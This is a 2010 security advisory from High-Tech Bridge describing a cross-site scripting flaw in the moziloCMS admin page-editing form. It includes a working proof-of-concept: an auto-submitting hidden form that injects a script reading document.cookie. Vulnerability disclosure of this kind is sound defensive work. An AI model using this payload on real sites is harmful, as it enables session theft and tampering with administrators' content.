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Cross-site Scripting (XSS) Vulnerability in moziloCMS

Advisory ID:HTB22394
Product:moziloCMS
Vendor:Arvid Zimmermann
Vulnerable Versions:1.11.2 and probably prior
Tested Version:1.11.2
Advisory Publication:May 20, 2010 [without technical details]
Vendor Notification:May 20, 2010
Public Disclosure:June 3, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in moziloCMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting (XSS) vulnerability in moziloCMS
The vulnerability exists due to input sanitation error in the HTTP POST parameter "pagecontent" in admin/index.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in and has access administrative interface.
Exploitation example:
<form action="http://host/admin/index.php" method="post" name="main" >
<input name="pages" type="hidden" value="" />
<input name="files" type="hidden" value="" />
<input name="gals" type="hidden" value="" />
<input name="usersyntax" type="hidden" value="" />
<input name="pagecontent" type="hidden" value='some content [html|"><script>alert(document.cookie)</script>]' />
<input name="page" type="hidden" value="10_Willkommen.txt" />
<input name="action" type="hidden" value="editsite" />
<input name="cat" type="hidden" value="10_Willkommen" />
<input name="save" type="hidden" value="Save" />
<input name="saveas" type="hidden" value="normal" />
</form>
<script>
document.main.submit();
</script>

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Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


References:
[1] High-Tech Bridge Advisory HTB22394 - https://www.immuniweb.com/advisory/HTB22394 - Cross-site Scripting (XSS) Vulnerability in moziloCMS
[2] moziloCMS - www.mozilo.de – moziloCMS is a simple user-friendly content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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